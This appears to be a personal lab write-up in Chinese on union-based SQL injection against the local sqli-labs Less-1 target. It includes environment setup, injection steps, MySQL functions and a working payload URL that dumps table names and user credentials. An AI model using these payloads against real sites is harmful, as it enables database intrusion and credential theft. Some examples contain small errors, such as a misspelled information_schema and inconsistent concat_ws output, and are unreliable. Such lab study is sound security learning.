0x00 前期准备
环境搭配:Apache24 + php5.6.38 + Mysql5.7.24
本地练习平台:sqli-labs(https://github.com/Audi-1/sqli-labs)
本次靶场:sqli-labs/Less1靶场
配置环境中碰到的问题:
- php版本过高,一开始用的7.2.10,导致已在7.0以后弃用的mysql_connect无法连接数据库。(最坑的是我以为是Mysql版本问题,用的是8.0.2的,卸了装5.6的,然后安装的时候选Custom模式,只要选一个x64安装的选择就好了,别的一大堆暂时用不着)。
- 在php目录下的php.ini-development内的extension_dir改成当前目录下的ext文件夹,删掉extension=php_mysql.dll等有mysql关键字的前面的分号,然后改名为php.ini,否则不起作用。
- Apache中conf的配置
//改当前路径
Define SRVROOT “D:\Z-Other Files\Apache24”
//加两行使Apache找到到PHP路径
LoadModule php5_module “D:/Z-Other Files/php-5.6.38-Win32-VC11-x64/php5apache2_4.dll”
PHPIniDir “D:/Z-Other Files/php-5.6.38-Win32-VC11-x64”
- 踩坑一大堆,总结一些,还是实践出真理,多动手。
0x01 联合查询前提
1.用联合查询进行注入则:页面必须有显示位。
2.union可合并两个或多个select语句的结果集,前提是两个select必有相同列、且各列的数据类型也相同
0x02 注入步骤
1.找到注入点得到闭合字符
2.判断数据库类型
3.猜解列数,得到显示位(从数据库中查询出来的数据有些会显示在页面中,显示的位置就是显示位)
4.得到基本信息(数据库名、版本、数据库版本等)
5.得到数据库
6.得到security数据库的表名
7.猜解列名
8.猜解数据
0x03个人小结
零:纠正误区
①mysql 判断varchar相等where条件时要用引号。如where name = ‘abc’
因此$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
构造1’ --+的payload利用浏览器把加号解析成空格达到注释后面全部内容(包括那个单引号)的目的,且写法优雅。
②information中间有个r
一、Mysql注释
①#注释(%23)
select 1;#xxxxxx
②-- 两根短线加空格(浏览器最后的空格写%20或+表示)
(原理:URL中的+号,通过 GET方式传值的时候,+号会被浏览器处理为空,也就是–+)
select 1;-- xxxxx
二、Mysql系统函数
select version();
5.7.24-log
select user();
root@localhost
select length(user());
14
select database();
显示当前所在数据库位置,若未在任一库则显示NULL
select @@basedir;
C:\Program Files\MySQL\MySQL Server 5.7\
select now()
2018-11-22 22:28:29
三、其他
①select * from users order by 3;
根据第三列排序,如users(id, username,pwd),那么根据pwd的字母顺序排序,当order by4则报错显示只有三个字段。
②concat_ws(separator, str1, str2, …)
Concat With Separator
详见附录【1】concat和concat_ws连接函数区别
③INFORMATION_SCHEMA自带数据库
- information_schema.tables这张数据库表保存了MySQL服务器所有数据库的信息。
如数据库名table_schema,表名table_name,表栏的数据类型与访问权限等。 - information_schema.columns这张数据库表保存了库名对应到表名对应到表中字段以及字段的类型、主键等基本信息。
eg:
查询当前共有几个数据库(可以用库名.表名来定位跨库的表查询)
select count(distinct table_schema) from infomation_schema.tables;
PS.其他information_schema.table库中的表详见附录【2】
④group_concat把原本多列的数据合并在一行,默认逗号分隔
(为了能一次打印,打印出一组数据的一条信息(记录))
eg.打印security库中的所有表名,一行显示。
select group_concat(table_name) from information_schema.tables where table_schema = 'security';
建议把’security’换成十六进制0x7365637572697479,网页注入时简洁,如下
http://127.0.0.1/sqli-labs/Less-1/?id=-1' UNION SELECT 1,group_concat(table_name),3 from information_schema.tables where table_schema = 0x7365637572697479 --+
举一反一:
给一张users(id,username,password)表
要求一次打印出全部id和username和password在一行一列
select concat_ws(’~’, group_concat(id), group_concat(username),group_concat(password)) from users;
⑤UNION查询字段需统一
给一张users(id,username,password)表
select * from users where id = -1 union select 1; #报错
select * from users where id = -1 union select 1,2,3; #打印1,2,3
附录:
【1】concat和concat_ws连接函数区别
select concat(‘大’,‘小’) as size from 表
查询出结果为:大小
select concat(‘大’,NULL) as size from 表
查询出结果为:null
concat中又一个参数为NULL,查出来的就为NULL
select concat_ws(’’,‘大’,‘小’,‘中’) as size from 表
查询出结果为:大_小_中
select concat_ws(’’,‘大’,‘小’,NULL) as size from 表
查询出结果为:大_小
【2】INFORMATION_SCHEMA一些重要的数据字典表做一些说明
SCHEMATA表:提供了关于数据库的信息。
TABLES表:给出了关于数据库中的表的信息。
COLUMNS表:给出了表中的列信息。
STATISTICS表:给出了关于表索引的信息。
USER_PRIVILEGES表:给出了关于全程权限的信息。该信息源自mysql.user授权表。
SCHEMA_PRIVILEGES表:给出了关于方案(数据库)权限的信息。该信息来自mysql.db授权表。
TABLE_PRIVILEGES表:给出了关于表权限的信息。该信息源自mysql.tables_priv授权表。
COLUMN_PRIVILEGES表:给出了关于列权限的信息。该信息源自mysql.columns_priv授权表。
CHARACTER_SETS表:提供了关于可用字符集的信息。
COLLATIONS表:提供了关于各字符集的对照信息。
COLLATION_CHARACTER_SET_APPLICABILITY表:指明了可用于校对的字符集。
TABLE_CONSTRAINTS表:描述了存在约束的表。
KEY_COLUMN_USAGE表:描述了具有约束的键列。
ROUTINES表:提供了关于存储子程序(存储程序和函数)的信息。此时,ROUTINES表不包含自定义函数(UDF)。
VIEWS表:给出了关于数据库中的视图的信息。
TRIGGERS表:提供了关于触发程序的信息。
【3】SQL注入部分参考原创:http://wyb0.com/posts/injection-of-union-select/